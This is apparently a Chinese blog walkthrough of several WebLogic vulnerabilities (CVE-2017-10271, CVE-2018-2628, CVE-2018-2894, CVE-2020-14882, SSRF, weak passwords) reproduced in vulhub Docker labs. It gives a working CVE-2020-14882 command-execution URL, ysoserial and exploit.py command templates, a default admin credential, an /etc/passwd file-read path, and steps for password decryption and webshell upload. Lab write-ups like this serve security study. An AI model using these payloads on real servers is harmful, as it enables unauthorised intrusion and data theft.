vulhub-weblogic漏洞复现

2022-08-10 19:36:53 浏览数 (1)

CVE-2017-10271

搭建环境

代码语言:javascript复制
root@kali:~# service docker start
root@kali:~# cd vulhub/weblogic/CVE-2017-10271
root@kali:~/vulhub/weblogic/CVE-2017-10271# docker-compose up -d
Pulling weblogic (vulhub/weblogic:10.3.6.0-2017)...
10.3.6.0-2017: Pulling from vulhub/weblogic
6599cadaf950: Pull complete
23eda618d451: Pull complete
f0be3084efe9: Pull complete
52de432f084b: Pull complete
a3ed95caeb02: Pull complete
a2318f26c625: Pull complete
1aa642dd8cc1: Pull complete
b307208f8bf5: Pull complete
1dfbbdcc497d: Pull complete
a53e674a7606: Pull complete
5f06bb51fa3c: Pull complete
ff0ff72567f2: Pull complete
684862046025: Pull complete
abbf8d475455: Pull complete
848eb11ef744: Pull complete
2f3438f2b83b: Pull complete
8e5871e15571: Pull complete
Digest: sha256:275ec19477cfda389dc1c42158033e7e8c650dd4cba9f090ca0ba673902b73c9
Status: Downloaded newer image for vulhub/weblogic:10.3.6.0-2017
Creating cve-2017-10271_weblogic_1 ... done
root@kali:~/vulhub/weblogic/CVE-2017-10271# docker ps -a
CONTAINER ID   IMAGE                           COMMAND              CREATED        STATUS        PORTS                                                 NAMES
1679f39e291b   vulhub/weblogic:10.3.6.0-2017   "startWebLogic.sh"   14 hours ago   Up 14 hours   5556/tcp, 0.0.0.0:7001->7001/tcp, :::7001->7001/tcp   cve-2017-10271_weblogic_1

当想进入另一个漏洞靶场时,需要先结束当前的漏洞靶场:docker-compose down

当访问 http://ip:7001 存在下图时,说明 weblogic 已成功启动

漏洞复现

漏洞说明: Weblogic的WLS Security组件对外提供webservice服务,其中使用了XMLDecoder来解析用户传入的XML数据,在解析的过程中出现反序列化漏洞,导致可执行任意命令。 影响范围: 10.3.6.0.0,12.1.3.0.0,12.2.1.1.0,12.2.1.2.0 触发漏洞url: /wls-wsat/CoordinatorPortType11 /wls-wsat/CoordinatorPortType /wls-wsat/RegistrationPortTypeRPC /wls-wsat/ParticipantPortType /wls-wsat/RegistrationRequesterPortType /wls-wsat/RegistrationPortTypeRPC11 /wls-wsat/ParticipantPortType11 /wls-wsat/RegistrationRequesterPortType11

首先初步判断,访问 http://ip:7001/wls-wsat/CoordinatorPortType11 存在下图,则说明可能存在漏洞

接着我们构造个POST包进行测试,写入文件,访问 http://ip:7001/wls-wsat/test.txt 可以发现成功写入test

然后构造好反弹shell的命令,使用nc监听4444端口,最终成功反弹

CVE-2018-2628

搭建环境

代码语言:javascript复制
root@kali:~# service docker start
root@kali:~# cd vulhub/weblogic/CVE-2018-2628
root@kali:~/vulhub/weblogic/CVE-2018-2628# docker-compose up -d
Creating network "cve-2018-2628_default" with the default driver
Creating cve-2018-2628_weblogic_1 ... done
root@kali:~/vulhub/weblogic/CVE-2018-2628# docker ps -a
CONTAINER ID   IMAGE                           COMMAND              CREATED              STATUS              PORTS                                                 NAMES
863d3bf60dff   vulhub/weblogic:10.3.6.0-2017   "startWebLogic.sh"   About a minute ago   Up About a minute   5556/tcp, 0.0.0.0:7001->7001/tcp, :::7001->7001/tcp   cve-2018-2628_weblogic_1

漏洞复现

漏洞说明: Oracle 2018年4月补丁中,修复了Weblogic Server WLS Core Components中出现的一个反序列化漏洞(CVE-2018-2628),该漏洞通过t3协议触发,可导致未授权的用户在远程服务器执行任意命令。 影响范围: Oracle WebLogic Server 10.3.6.0 Oracle WebLogic Server 12.1.3.0 Oracle WebLogic Server 12.2.1.2 Oracle WebLogic Server 12.2.1.3

首先下载ysoserial,并启动一个JRMP Server

代码语言:javascript复制
java -cp ysoserial-0.0.6-SNAPSHOT-BETA-all.jar ysoserial.exploit.JRMPListener [listen port] CommonsCollections1 [command]
//[listen port]表示JRMP Server监听的端口,CommonsCollections1表示jdk版本,[command]表示想要执行的命令

然后使用exploit.py脚本,向目标发送数据包

代码语言:javascript复制
python exploit.py [victim ip] [victim port] [path to ysoserial] [JRMPListener ip] [JRMPListener port] [JRMPClient]
//[victim ip]和[victim port]是目标weblogic的IP和端口,[path to ysoserial]是本地ysoserial的路径,[JRMPListener ip]和[JRMPListener port]第一步中启动JRMP Server的IP地址和端口。[JRMPClient]是执行JRMPClient的类,可选的值是JRMPClient或JRMPClient2。

最后执行docker-compose exec weblogic bash进入容器中,可见 /tmp/test 已成功创建

CVE-2018-2894

搭建环境

代码语言:javascript复制
root@kali:~# service docker start
root@kali:~# cd vulhub/weblogic/CVE-2018-2894
root@kali:~/vulhub/weblogic/CVE-2018-2894# docker-compose up -d
Pulling weblogic (vulhub/weblogic:12.2.1.3-2018)...
12.2.1.3-2018: Pulling from vulhub/weblogic
4040fe120662: Pull complete
5788a5fddf0e: Pull complete
88fc159ecf27: Pull complete
138d86176392: Pull complete
586a610c1c83: Pull complete
8362c571c14a: Pull complete
d4802e4ac1d2: Pull complete
Digest: sha256:8ddf63df92426e521e60c2db913602394a799921fb3919094aef012e3ad6b13f
Status: Downloaded newer image for vulhub/weblogic:12.2.1.3-2018
Creating cve-2018-2894_weblogic_1 ... done
root@kali:~/vulhub/weblogic/CVE-2018-2894# docker ps -a
CONTAINER ID   IMAGE                           COMMAND                  CREATED          STATUS          PORTS                                       NAMES
bf277254cf96   vulhub/weblogic:12.2.1.3-2018   "/u01/oracle/createA…"   49 seconds ago   Up 46 seconds   0.0.0.0:7001->7001/tcp, :::7001->7001/tcp   cve-2018-2894_weblogic_1

漏洞复现

漏洞说明: Oracle 7月更新中,修复了Weblogic Web Service Test Page中一处任意文件上传漏洞,Web Service Test Page 在“生产模式”下默认不开启,所以该漏洞有一定限制。利用该漏洞,可以上传任意jsp文件,进而获取服务器权限。 影响范围: Oracle WebLogic Server 10.3.6.0 Oracle WebLogic Server 12.1.3.0 Oracle WebLogic Server 12.2.1.2 Oracle WebLogic Server 12.2.1.3 触发漏洞url: /ws_utc/begin.do /ws_utc/config.do

访问http://ip:7001/ws_utc/config.do,设置Work Home Dir为/u01/oracle/user_projects/domains/base_domain/servers/AdminServer/tmp/_WL_internal/com.oracle.webservices.wls.ws-testclient-app-wls/4mcj4y/war/css,点击提交

然后选择 Security - Add 上传Webshell

上传后,F12查找相对应的时间戳(也可通过burp抓包查看)

然后访问http://ip:7001/ws_utc/css/config/keystore/[时间戳]_[文件名],即可执行webshell

CVE-2020-14882

搭建环境

代码语言:javascript复制
root@kali:~# service docker start
root@kali:~# cd vulhub/weblogic/CVE-2020-14882
root@kali:~/vulhub/weblogic/CVE-2020-14882# docker-compose up -d
Creating network "cve-2020-14882_default" with the default driver
Creating cve-2020-14882_weblogic_1 ... done
root@kali:~/vulhub/weblogic/CVE-2020-14882# docker ps -a
CONTAINER ID   IMAGE                           COMMAND                  CREATED         STATUS         PORTS                                       NAMES
22b203d090ef   vulhub/weblogic:12.2.1.3-2018   "/u01/oracle/createA…"   9 seconds ago   Up 8 seconds   0.0.0.0:7001->7001/tcp, :::7001->7001/tcp   cve-2020-14882_weblogic_1

漏洞复现

漏洞说明: Weblogic是Oracle公司推出的J2EE应用服务器。在2020年10月的更新中,Oracle官方修复了两个长亭科技安全研究员@voidfyoo 提交的安全漏洞,分别是CVE-2020-14882和CVE-2020-14883。 CVE-2020-14882允许未授权的用户绕过管理控制台的权限验证访问后台,CVE-2020-14883允许后台任意用户通过HTTP协议执行任意命令。使用这两个漏洞组成的利用链,可通过一个GET请求在远程Weblogic服务器上以未授权的任意用户身份执行命令。 影响范围: Oracle WebLogic Server 10.3.6.0.0 Oracle WebLogic Server 12.1.3.0.0 Oracle WebLogic Server 12.2.1.3.0 Oracle WebLogic Server 12.2.1.4.0 Oracle WebLogic Server 14.1.1.0.0

这里我们直接用网上的poc,并通过创建文件的命令来测试该poc

代码语言:javascript复制
/console/images/%2E%2E%2Fconsole.portal?_nfpb=true&_pageLabel=HomePage1&handle=com.tangosol.coherence.mvel2.sh.ShellSession("java.lang.Runtime.getRuntime().exec('你想执行的命令');");

最后执行docker-compose exec weblogic bash进入容器中,可见 /tmp/test 已成功创建

代码语言:javascript复制
root@kali:~/vulhub/weblogic/CVE-2020-14882# docker-compose exec weblogic bash
[oracle@902b0d078b45 ~]$ ls /tmp
hsperfdata_oracle  test  wlstOfflineLogs_oracle  wlstTemporacle

ssrf

搭建环境

代码语言:javascript复制
root@kali:~# service docker start
root@kali:~# cd vulhub/weblogic/ssrf
root@kali:~/vulhub/weblogic/ssrf# docker-compose up -d
Pulling redis (vulhub/baselinux:centos-6)...
centos-6: Pulling from vulhub/baselinux
ff50d722b382: Pull complete
c1692ffee92d: Pull complete
bb55baebb63d: Pull complete
669dbd7f283f: Pull complete
cfe024e50ec9: Pull complete
Digest: sha256:47854618dcdc80eb14e92cff51f3eb728683cf177b8eabe91863d1d6889e5d64
Status: Downloaded newer image for vulhub/baselinux:centos-6
Creating ssrf_redis_1 ... done
Creating ssrf_weblogic_1 ... done
root@kali:~/vulhub/weblogic/ssrf# docker ps -a
CONTAINER ID   IMAGE                           COMMAND                  CREATED          STATUS                        PORTS                                                 NAMES
cafc95cb2807   vulhub/weblogic:10.3.6.0-2017   "startWebLogic.sh"       21 minutes ago   Up 21 minutes                 5556/tcp, 0.0.0.0:7001->7001/tcp, :::7001->7001/tcp   ssrf_weblogic_1
8fad0fb37072   vulhub/baselinux:centos-6       "/docker-entrypoint.…"   21 minutes ago   Exited (139) 21 minutes ago                                                         ssrf_redis_1

漏洞复现

漏洞说明: Weblogic中存在一个SSRF漏洞,利用该漏洞可以发送任意HTTP请求,进而攻击内网中redis、fastcgi等脆弱组件。 影响范围: weblogic 10.0.2 - 10.3.6 触发漏洞url: /uddiexplorer/SearchPublicRegistries.jsp

SSRF漏洞存在于http://ip:7001/uddiexplorer/SearchPublicRegistries.jsp(这里有参数传入的是url)

若报错显示 weblogic.uddi.client.structures.exception.XML_SoapException,则说明存在此漏洞 接着我们探测端口,可访问的端口将会得到错误,一般是返回status code(如下图)

修改为一个不存在的端口,将会返回could not connect over HTTP to server

通过错误的不同,即可探测内网状态。 Weblogic的SSRF有一个比较大的特点,其虽然是一个“GET”请求,但是我们可以通过传入 来注入换行符,而某些服务(如redis)是通过换行符来分隔每条命令,也就说我们可以通过该SSRF攻击内网中的redis服务器。 首先,通过ssrf探测内网中的redis服务器(docker环境的网段一般是172.*)

然后就发现dockerfile可能出了啥问题,咕咕咕了~

weak_password

搭建环境

代码语言:javascript复制
root@kali:~# service docker start
root@kali:~# cd vulhub/weblogic/weak_password
root@kali:~/vulhub/weblogic/weak_password# docker-compose up -d
Creating network "weak_password_default" with the default driver
Creating weak_password_weblogic_1 ... done
root@kali:~/vulhub/weblogic/weak_password# docker ps -a
CONTAINER ID   IMAGE                           COMMAND              CREATED          STATUS          PORTS                                                                                  NAMES
c17dc9f3b2f1   vulhub/weblogic:10.3.6.0-2017   "startWebLogic.sh"   11 seconds ago   Up 10 seconds   0.0.0.0:5556->5556/tcp, :::5556->5556/tcp, 0.0.0.0:7001->7001/tcp, :::7001->7001/tcp   weak_password_weblogic_1

漏洞复现

漏洞说明: 本环境模拟了一个真实的weblogic环境,其后台存在一个弱口令,并且前台存在任意文件读取漏洞。分别通过这两种漏洞,模拟对weblogic场景的渗透。

通过访问weblogic后台 http://ip:7001/console/login/LoginForm.jsp 可发现存在弱口令:weblogic/Oracle@123

weblogic常用弱口令: http://cirt.net/passwords?criteria=weblogic

当不存在弱口令时,我们还可以尝试任意文件下载来破解后台密码,通过访问http://ip:7001/hello/file.jsp?path=/etc/passwd可见成功读取passwd文件

然后我们开始读取后台用户密文与密钥文件,weblogic密码使用AES(老版本3DES)加密,对称加密可解密,只需要找到用户的密文与加密时的密钥即可。这两个文件均位于base_domain下,名为SerializedSystemIni.datconfig.xml 其中SerializedSystemIni.dat是一个二进制文件,必须得用burp来读取,如果直接用浏览器下载可能会引入一些干扰字符,在burp里选中读取到的那一串乱码,这就是密钥,右键copy to file就可以保存成一个文件:

config.xml是base_domain的全局配置文件

最后使用工具weblogic_decrypt.jar,解密密文

后台上传shell

首先制作war包,将webshell压缩成zip格式,修改后缀名为war即可,然后我们上传war包,点击 Deployments - install - upload your file(s) - Browse - Next - Next - Next - Finish ,最后成功getshell

0 人点赞